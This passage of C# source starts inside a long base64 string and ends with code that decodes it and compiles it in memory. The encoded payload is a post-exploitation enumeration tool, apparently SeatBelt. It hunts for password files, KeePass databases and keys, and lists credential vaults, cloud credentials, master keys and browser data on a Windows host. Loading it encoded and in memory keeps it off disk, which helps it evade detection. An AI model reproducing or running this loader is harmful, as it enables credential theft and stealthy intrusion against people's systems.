AgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgbGFzdE1vZGlmaWVkID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdFdyaXRlVGltZShhenVyZVByb2ZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICBsb25nIHNpemUgPSBuZXcgU3lzdGVtLklPLkZpbGVJbmZvKGF6dXJlUHJvZmlsZSkuTGVuZ3RoOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbKl0gQXp1cmUgcHJvZmlsZSBhdCAgICAgICAgICAgOiB7MH0iLCBhenVyZVByb2ZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgQWNjZXNzZWQgICAgICAgICAgICAgICAgICAgOiB7MH0iLCBsYXN0QWNjZXNzZWQpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgTW9kaWZpZWQgICAgICAgICAgICAgICAgICAgOiB7MH0iLCBsYXN0TW9kaWZpZWQpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgU2l6ZSAgICAgICAgICAgICAgICAgICAgICAgOiB7MH1cclxuIiwgc2l6ZSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gZXgpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFtYXSBFeGNlcHRpb246IHswfSIsIGV4Lk1lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTGlzdFJlY2VudEZpbGVzKCkKICAgICAgICB7CiAgICAgICAgICAgIC8vIHBhcnNlcyByZWNlbnQgZmlsZSBzaG9ydGN1dHMgdmlhIENPTQoKICAgICAgICAgICAgaW50IGxhc3REYXlzID0gNzsKCiAgICAgICAgICAgIGlmICghRmlsdGVyUmVzdWx0cy5maWx0ZXIpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGxhc3REYXlzID0gMzA7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIERhdGVUaW1lIHN0YXJ0VGltZSA9IFN5c3RlbS5EYXRlVGltZS5Ob3cuQWRkRGF5cygtbGFzdERheXMpOwoKICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIC8vIFdzaFNoZWxsIENPTSBvYmplY3QgR1VJRCAKICAgICAgICAgICAgICAgIFR5cGUgc2hlbGwgPSBUeXBlLkdldFR5cGVGcm9tQ0xTSUQobmV3IEd1aWQoIkY5MzVEQzIyLTFDRjAtMTFkMC1BREI5LTAwQzA0RkQ1OEEwQiIpKTsKICAgICAgICAgICAgICAgIE9iamVjdCBzaGVsbE9iaiA9IEFjdGl2YXRvci5DcmVhdGVJbnN0YW5jZShzaGVsbCk7CgogICAgICAgICAgICAgICAgaWYgKElzSGlnaEludGVncml0eSgpKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBSZWNlbnRseSBBY2Nlc3NlZCBGaWxlcyAoQWxsIFVzZXJzKSBMYXN0IHswfSBEYXlzID09PVxyXG4iLCBsYXN0RGF5cyk7CgogICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VyRm9sZGVyID0gU3RyaW5nLkZvcm1hdCgiezB9XFxVc2Vyc1xcIiwgRW52aXJvbm1lbnQuR2V0RW52aXJvbm1lbnRWYXJpYWJsZSgiU3lzdGVtRHJpdmUiKSk7CiAgICAgICAgICAgICAgICAgICAgc3RyaW5nW10gZGlycyA9IERpcmVjdG9yeS5HZXREaXJlY3Rvcmllcyh1c2VyRm9sZGVyKTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChzdHJpbmcgZGlyIGluIGRpcnMpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmdbXSBwYXJ0cyA9IGRpci5TcGxpdCgnXFwnKTsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHVzZXJOYW1lID0gcGFydHNbcGFydHMuTGVuZ3RoIC0gMV07CgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIShkaXIuRW5kc1dpdGgoIlB1YmxpYyIpIHx8IGRpci5FbmRzV2l0aCgiRGVmYXVsdCIpIHx8IGRpci5FbmRzV2l0aCgiRGVmYXVsdCBVc2VyIikgfHwgZGlyLkVuZHNXaXRoKCJBbGwgVXNlcnMiKSkpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyByZWNlbnRQYXRoID0gU3RyaW5nLkZvcm1hdCgiezB9XFxBcHBEYXRhXFxSb2FtaW5nXFxNaWNyb3NvZnRcXFdpbmRvd3NcXFJlY2VudFxcIiwgZGlyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRyeQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZ1tdIHJlY2VudEZpbGVzID0gRGlyZWN0b3J5LkdldEZpbGVzKHJlY2VudFBhdGgsICIqLmxuayIsIFNlYXJjaE9wdGlvbi5BbGxEaXJlY3Rvcmllcyk7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChyZWNlbnRGaWxlcy5MZW5ndGggIT0gMCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICB7MH0gOlxyXG4iLCB1c2VyTmFtZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKHN0cmluZyByZWNlbnRGaWxlIGluIHJlY2VudEZpbGVzKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEYXRlVGltZSBsYXN0QWNjZXNzZWQgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0QWNjZXNzVGltZShyZWNlbnRGaWxlKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAobGFzdEFjY2Vzc2VkID4gc3RhcnRUaW1lKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIGludm9rZSB0aGUgV3NoU2hlbGwgY29tIG9iamVjdCwgY3JlYXRpbmcgYSBzaG9ydGN1dCB0byB0aGVuIGV4dHJhY3QgdGhlIFRhcmdldFBhdGggZnJvbQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9iamVjdCBzaG9ydGN1dCA9IHNoZWxsT2JqLkdldFR5cGUoKS5JbnZva2VNZW1iZXIoIkNyZWF0ZVNob3J0Y3V0IiwgQmluZGluZ0ZsYWdzLkludm9rZU1ldGhvZCwgbnVsbCwgc2hlbGxPYmosIG5ldyBvYmplY3RbXSB7IHJlY2VudEZpbGUgfSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT2JqZWN0IFRhcmdldFBhdGggPSBzaG9ydGN1dC5HZXRUeXBlKCkuSW52b2tlTWVtYmVyKCJUYXJnZXRQYXRoIiwgQmluZGluZ0ZsYWdzLkdldFByb3BlcnR5LCBudWxsLCBzaG9ydGN1dCwgbmV3IG9iamVjdFtdIHsgfSk7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChUYXJnZXRQYXRoLlRvU3RyaW5nKCkuVHJpbSgpICE9ICIiKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgIFRhcmdldDogICAgICAgezAsLTEwfSIsIFRhcmdldFBhdGguVG9TdHJpbmcoKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgICAgICAgQWNjZXNzZWQ6IHswfVxyXG4iLCBsYXN0QWNjZXNzZWQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNYXJzaGFsLlJlbGVhc2VDb21PYmplY3Qoc2hvcnRjdXQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNob3J0Y3V0ID0gbnVsbDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhdGNoIHsgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBSZWNlbnRseSBBY2Nlc3NlZCBGaWxlcyAoQ3VycmVudCBVc2VyKSBMYXN0IHswfSBEYXlzID09PVxyXG4iLCBsYXN0RGF5cyk7CgogICAgICAgICAgICAgICAgICAgIHN0cmluZyByZWNlbnRQYXRoID0gU3RyaW5nLkZvcm1hdCgiezB9XFxNaWNyb3NvZnRcXFdpbmRvd3NcXFJlY2VudFxcIiwgU3lzdGVtLkVudmlyb25tZW50LkdldEVudmlyb25tZW50VmFyaWFibGUoIkFQUERBVEEiKSk7CgogICAgICAgICAgICAgICAgICAgIHN0cmluZ1tdIHJlY2VudEZpbGVzID0gRGlyZWN0b3J5LkdldEZpbGVzKHJlY2VudFBhdGgsICIqLmxuayIsIFNlYXJjaE9wdGlvbi5BbGxEaXJlY3Rvcmllcyk7CgogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKHN0cmluZyByZWNlbnRGaWxlIGluIHJlY2VudEZpbGVzKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgLy8gb2xkIG1ldGhvZCAobmVlZGVkIGludGVyb3AgZGxsKQogICAgICAgICAgICAgICAgICAgICAgICAvL1dzaFNoZWxsIHNoZWxsID0gbmV3IFdzaFNoZWxsKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIC8vSVdzaFNob3J0Y3V0IHNob3J0Y3V0ID0gKElXc2hTaG9ydGN1dClzaGVsbC5DcmVhdGVTaG9ydGN1dChyZWNlbnRGaWxlKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIERhdGVUaW1lIGxhc3RBY2Nlc3NlZCA9IFN5c3RlbS5JTy5GaWxlLkdldExhc3RBY2Nlc3NUaW1lKHJlY2VudEZpbGUpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGxhc3RBY2Nlc3NlZCA+IHN0YXJ0VGltZSkKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gaW52b2tlIHRoZSBXc2hTaGVsbCBjb20gb2JqZWN0LCBjcmVhdGluZyBhIHNob3J0Y3V0IHRvIHRoZW4gZXh0cmFjdCB0aGUgVGFyZ2V0UGF0aCBmcm9tCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBPYmplY3Qgc2hvcnRjdXQgPSBzaGVsbE9iai5HZXRUeXBlKCkuSW52b2tlTWVtYmVyKCJDcmVhdGVTaG9ydGN1dCIsIEJpbmRpbmdGbGFncy5JbnZva2VNZXRob2QsIG51bGwsIHNoZWxsT2JqLCBuZXcgb2JqZWN0W10geyByZWNlbnRGaWxlIH0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgT2JqZWN0IFRhcmdldFBhdGggPSBzaG9ydGN1dC5HZXRUeXBlKCkuSW52b2tlTWVtYmVyKCJUYXJnZXRQYXRoIiwgQmluZGluZ0ZsYWdzLkdldFByb3BlcnR5LCBudWxsLCBzaG9ydGN1dCwgbmV3IG9iamVjdFtdIHsgfSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoVGFyZ2V0UGF0aC5Ub1N0cmluZygpLlRyaW0oKSAhPSAiIikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgIFRhcmdldDogICAgICAgezAsLTEwfSIsIFRhcmdldFBhdGguVG9TdHJpbmcoKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgICAgQWNjZXNzZWQ6IHswfVxyXG4iLCBsYXN0QWNjZXNzZWQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgTWFyc2hhbC5SZWxlYXNlQ29tT2JqZWN0KHNob3J0Y3V0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNob3J0Y3V0ID0gbnVsbDsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIC8vIHJlbGVhc2UgdGhlIFdzaFNoZWxsIENPTSBvYmplY3QKICAgICAgICAgICAgICAgIE1hcnNoYWwuUmVsZWFzZUNvbU9iamVjdChzaGVsbE9iaik7CiAgICAgICAgICAgICAgICBzaGVsbE9iaiA9IG51bGw7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiBleCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgW1hdIEV4Y2VwdGlvbjogezB9IiwgZXguTWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBMaXN0SW50ZXJlc3RpbmdGaWxlcygpCiAgICAgICAgewogICAgICAgICAgICAvLyByZXR1cm5zIGZpbGVzICh3LyBtb2RpZmljYXRpb24gZGF0ZXMpIHRoYXQgbWF0Y2ggdGhlIGdpdmVuIHBhdHRlcm4gYmVsb3cKICAgICAgICAgICAgc3RyaW5nIHBhdHRlcm5zID0gIipwYXNzICo7KmRpYWdyYW0qOyoucGRmOyoudnNkOyouZG9jOypkb2N4OyoueGxzOyoueGxzeDsqLmtkYng7Ki5rZXk7S2VlUGFzcy5jb25maWciOwoKICAgICAgICAgICAgaWYgKElzSGlnaEludGVncml0eSgpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gSW50ZXJlc3RpbmcgRmlsZXMgKEFsbCBVc2VycykgPT09XHJcbiIpOwoKICAgICAgICAgICAgICAgIHN0cmluZyBzZWFyY2hQYXRoID0gU3RyaW5nLkZvcm1hdCgiezB9XFxVc2Vyc1xcIiwgRW52aXJvbm1lbnQuR2V0RW52aXJvbm1lbnRWYXJpYWJsZSgiU3lzdGVtRHJpdmUiKSk7CgogICAgICAgICAgICAgICAgTGlzdDxzdHJpbmc+IGZpbGVzID0gRmluZEZpbGVzKHNlYXJjaFBhdGgsIHBhdHRlcm5zKTsKCiAgICAgICAgICAgICAgICBmb3JlYWNoIChzdHJpbmcgZmlsZSBpbiBmaWxlcykKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBEYXRlVGltZSBsYXN0QWNjZXNzZWQgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0QWNjZXNzVGltZShmaWxlKTsKICAgICAgICAgICAgICAgICAgICBEYXRlVGltZSBsYXN0TW9kaWZpZWQgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKGZpbGUpOwogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgRmlsZTogICAgICAgICB7MH0iLCBmaWxlKTsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgICBBY2Nlc3NlZDogezB9IiwgbGFzdEFjY2Vzc2VkKTsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgICBNb2RpZmllZDogezB9IiwgbGFzdE1vZGlmaWVkKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgZWxzZQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gSW50ZXJlc3RpbmcgRmlsZXMgKEN1cnJlbnQgVXNlcikgPT09XHJcbiIpOwoKICAgICAgICAgICAgICAgIHN0cmluZyBzZWFyY2hQYXRoID0gRW52aXJvbm1lbnQuR2V0RW52aXJvbm1lbnRWYXJpYWJsZSgiVVNFUlBST0ZJTEUiKTsKCiAgICAgICAgICAgICAgICBMaXN0PHN0cmluZz4gZmlsZXMgPSBGaW5kRmlsZXMoc2VhcmNoUGF0aCwgcGF0dGVybnMpOwoKICAgICAgICAgICAgICAgIGZvcmVhY2ggKHN0cmluZyBmaWxlIGluIGZpbGVzKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIERhdGVUaW1lIGxhc3RBY2Nlc3NlZCA9IFN5c3RlbS5JTy5GaWxlLkdldExhc3RBY2Nlc3NUaW1lKGZpbGUpOwogICAgICAgICAgICAgICAgICAgIERhdGVUaW1lIGxhc3RNb2RpZmllZCA9IFN5c3RlbS5JTy5GaWxlLkdldExhc3RXcml0ZVRpbWUoZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICBGaWxlOiAgICAgICAgIHswfSIsIGZpbGUpOwogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgICAgIEFjY2Vzc2VkOiB7MH0iLCBsYXN0QWNjZXNzZWQpOwogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgICAgIE1vZGlmaWVkOiB7MH0iLCBsYXN0TW9kaWZpZWQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKCiAgICAgICAgLy8gbWlzYyBjaGVja3MKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTGlzdFBhdGNoZXMoKQogICAgICAgIHsKICAgICAgICAgICAgLy8gbGlzdHMgY3VycmVudCBwYXRjaGVzIHZpYSBXTUkgKHdpbjMyX3F1aWNrZml4ZW5naW5lZXJpbmcpCiAgICAgICAgICAgIHRyeQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBNYW5hZ2VtZW50T2JqZWN0U2VhcmNoZXIgd21pRGF0YSA9IG5ldyBNYW5hZ2VtZW50T2JqZWN0U2VhcmNoZXIoQCJyb290XGNpbXYyIiwgIlNFTEVDVCAqIEZST00gd2luMzJfcXVpY2tmaXhlbmdpbmVlcmluZyIpOwogICAgICAgICAgICAgICAgTWFuYWdlbWVudE9iamVjdENvbGxlY3Rpb24gZGF0YSA9IHdtaURhdGEuR2V0KCk7CgogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IEluc3RhbGxlZCBQYXRjaGVzICh2aWEgV01JKSA9PT1cclxuIik7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBIb3RGaXhJRCAgIEluc3RhbGxlZE9uICAgIERlc2NyaXB0aW9uIik7CgogICAgICAgICAgICAgICAgZm9yZWFjaCAoTWFuYWdlbWVudE9iamVjdCByZXN1bHQgaW4gZGF0YSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICA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XRlbSA9IG51bGw7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgTWFyc2hhbC5SZWxlYXNlQ29tT2JqZWN0KHJlY3ljbGUpOwogICAgICAgICAgICByZWN5Y2xlID0gbnVsbDsKICAgICAgICAgICAgTWFyc2hhbC5SZWxlYXNlQ29tT2JqZWN0KHNoZWxsT2JqKTsKICAgICAgICAgICAgc2hlbGxPYmogPSBudWxsOwogICAgICAgIH0KCgogICAgICAgIC8vIG1ldGEtZnVuY3Rpb25zIGZvciBydW5uaW5nIHZhcmlvdXMgY2hlY2tzCiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIFN5c3RlbUNoZWNrcygpCiAgICAgICAgewogICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcbj09PSBSdW5uaW5nIFN5c3RlbSBUcmlhZ2UgQ2hlY2tzID09PVxyXG4iKTsKICAgICAgICAgICAgTGlzdEJhc2ljT1NJbmZvKCk7CiAgICAgICAgICAgIExpc3RSZWJvb3RTY2hlZHVsZSgpOwogICAgICAgICAgICBMaXN0VG9rZW5Hcm91cFByaXZzKCk7CiAgICAgICAgICAgIExpc3RVQUNTeXN0ZW1Qb2xpY2llcygpOwogICAgICAgICAgICBMaXN0UG93ZXJTaGVsbFNldHRpbmdzKCk7CiAgICAgICAgICAgIExpc3RBdWRpdFNldHRpbmdzKCk7CiAgICAgICAgICAgIExpc3RXRUZTZXR0aW5ncygpOwogICAgICAgICAgICBMaXN0TFNBU2V0dGluZ3MoKTsKICAgICAgICAgICAgTGlzdFVzZXJFbnZWYXJpYWJsZXMoKTsKICAgICAgICAgICAgTGlzdFN5c3RlbUVudlZhcmlhYmxlcygpOwogICAgICAgICAgICBMaXN0VXNlckZvbGRlcnMoKTsKICAgICAgICAgICAgTGlzdE5vbnN0YW5kYXJkU2VydmljZXMoKTsKICAgICAgICAgICAgTGlzdEludGVybmV0U2V0dGluZ3MoKTsKICAgICAgICAgICAgTGlzdExhcHNTZXR0aW5ncygpOwogICAgICAgICAgICBMaXN0TG9jYWxHcm91cE1lbWJlcnMoKTsKICAgICAgICAgICAgTGlzdE1hcHBlZERyaXZlcygpOwogICAgICAgICAgICBMaXN0UkRQU2Vzc2lvbnMoKTsKICAgICAgICAgICAgTGlzdFdNSU1hcHBlZERyaXZlcygpOwogICAgICAgICAgICBMaXN0TmV0d29ya1NoYXJlcygpOwogICAgICAgICAgICBMaXN0RmlyZXdhbGxSdWxlcygpOwogICAgICAgICAgICBMaXN0QW50aVZpcnVzV01JKCk7CiAgICAgICAgICAgIExpc3RJbnRlcmVzdGluZ1Byb2Nlc3NlcygpOwogICAgICAgICAgICBMaXN0UmVnaXN0cnlBdXRvTG9nb24oKTsKICAgICAgICAgICAgTGlzdFJlZ2lzdHJ5QXV0b1J1bnMoKTsKICAgICAgICAgICAgTGlzdEROU0NhY2hlKCk7CiAgICAgICAgICAgIExpc3RBUlBUYWJsZSgpOwogICAgICAgICAgICBMaXN0QWxsVGNwQ29ubmVjdGlvbnMoKTsKICAgICAgICAgICAgTGlzdEFsbFVkcENvbm5lY3Rpb25zKCk7CiAgICAgICAgICAgIExpc3ROb25zdGFuZGFyZFByb2Nlc3NlcygpOwoKICAgICAgICAgICAgLy8gbGlzdCBwYXRjaGVzIGFuZCBMaXN0NDYyNEV2ZW50cy9MaXN0NDY0OEV2ZW50cyBpZiB3ZSdyZSBkb2luZyAiZnVsbCIgY29sbGVjdGlvbgogICAgICAgICAgICBpZiAoIUZpbHRlclJlc3VsdHMuZmlsdGVyKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBMaXN0UGF0Y2hlcygpOwogICAgICAgICAgICAgICAgTGlzdDQ2MjRFdmVudHMoKTsKICAgICAgICAgICAgICAgIExpc3Q0NjQ4RXZlbnRzKCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmIChJc0hpZ2hJbnRlZ3JpdHkoKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG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S5HZXRDdXJyZW50KCkuVXNlcik7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIENoZWNrRmlyZWZveCgpOwogICAgICAgICAgICBDaGVja0Nocm9tZSgpOwogICAgICAgICAgICBUcmlhZ2VJRSgpOwogICAgICAgICAgICBEdW1wVmF1bHQoKTsKICAgICAgICAgICAgTGlzdFNhdmVkUkRQQ29ubmVjdGlvbnMoKTsKICAgICAgICAgICAgTGlzdFJlY2VudFJ1bkNvbW1hbmRzKCk7CiAgICAgICAgICAgIExpc3RQdXR0eVNlc3Npb25zKCk7CiAgICAgICAgICAgIExpc3RQdXR0eVNTSEhvc3RLZXlzKCk7CiAgICAgICAgICAgIExpc3RDbG91ZENyZWRzKCk7CiAgICAgICAgICAgIExpc3RSZWNlbnRGaWxlcygpOwogICAgICAgICAgICBMaXN0TWFzdGVyS2V5cygpOwogICAgICAgICAgICBMaXN0Q3JlZEZpbGVzKCk7CiAgICAgICAgICAgIExpc3RSRENNYW5GaWxlcygpOwoKICAgICAgICAgICAgaWYgKCFGaWx0ZXJSZXN1bHRzLmZpbHRlcikKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgVHJpYWdlQ2hyb21lKCk7CiAgICAgICAgICAgICAgICBUcmlhZ2VGaXJlZm94KCk7CiAgICAgICAgICAgICAgICBMaXN0SW50ZXJlc3RpbmdGaWxlcygpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBzdGF0aWMgdm9pZCBVc2FnZSgpCiAgICAgICAgewogICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiIFwiU2VhdEJlbHQuZXhlIHN5c3RlbVwiIGNvbGxlY3RzIHRoZSBmb2xsb3dpbmcgc3lzdGVtIGRhdGE6XHJcbiIpOwogICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHRCYXNpY09TSW5mbyAgICAgICAgICAgLSAgIEJhc2ljIE9TIGluZm8gKGkuZS4gYXJjaGl0ZWN0dXJlLCBPUyB2ZXJzaW9uLCB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dXJyZW50IHVzZXIgZW52aXJvbm1lbnQgdmFyaWFibGVzIik7CiAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcdFN5c3RlbUVudlZhcmlhYmxlcyAgICAtICAgQ3VycmVudCBzeXN0ZW0gZW52aXJvbm1lbnQgdmFyaWFibGVzIik7CiAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcdFVzZXJGb2xkZXJzICAgICAgICAgICAtICAgRm9sZGVycyBpbiBDOlxcVXNlcnNcXCIpOwogICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHROb25zdGFuZGFyZFNlcnZpY2VzICAgLSAgIFNlcnZpY2VzIHdpdGggZmlsZSBpbmZvIGNvbXBhbnkgbmFtZXMgdGhhdCBkb24ndCBjb250YWluICdNaWNyb3NvZnQnIik7CiAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcdEludGVybmV0U2V0dGluZ3MgICAgICAtICAgSW50ZXJuZXQgc2V0dGluZ3MgaW5jbHVkaW5nIHByb3h5IGNvbmZpZ3MiKTsKICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlx0TGFwc1NldHRpbmdzICAgICAgICAgIC0gICBMQVBTIHNldHRpbmdzLCBpZiBpbnN0YWxsZWQiKTsKICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlx0TG9jYWxHcm91cE1lbWJlcnMgICAgIC0gICBNZW1iZXJzIG9mIGxvY2FsIGFkbWlucywgUkRQLCBhbmQgRENPTSIpOwogICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHRNYXBwZWREcml2ZXMgICAgICAgICAgLSAgIE1hcHBlZCBkcml2ZXMiKTsKICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlx0UkRQU2Vzc2lvbnMgICAgICAgICAgIC0gICBDdXJyZW50IGluY29taW5nIFJEUCBzZXNzaW9ucyIpOwogICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSg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AgICAgICAgICAgIExpc3RSZWN5Y2xlQmluKCk7CiAgICAgICAgICAgIExpc3RJbnRlcmVzdGluZ0ZpbGVzKCk7CgogICAgICAgICAgICB3YXRjaC5TdG9wKCk7CiAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcblsqXSBDb21wbGV0ZWQgQWxsIFNhZmV0eSBDaGVja3MgaW4gezB9IHNlY29uZHNcclxuIiwgKHdhdGNoLkVsYXBzZWRNaWxsaXNlY29uZHMgLyAxMDAwKSk7CgogICAgICAgIH0KICAgIH0KfQo=";
string code = Encoding.UTF8.GetString(System.Convert.FromBase64String(strb64));
CSharpCodeProvider prov = new CSharpCodeProvider();
CompilerParameters parms = new CompilerParameters();
parms.GenerateInMemory = true;
parms.GenerateExecutable = false;
parms.ReferencedAssemblies.Add("C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\System.dll");
parms.ReferencedAssemblies.Add("C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\System.DirectoryServices.dll");
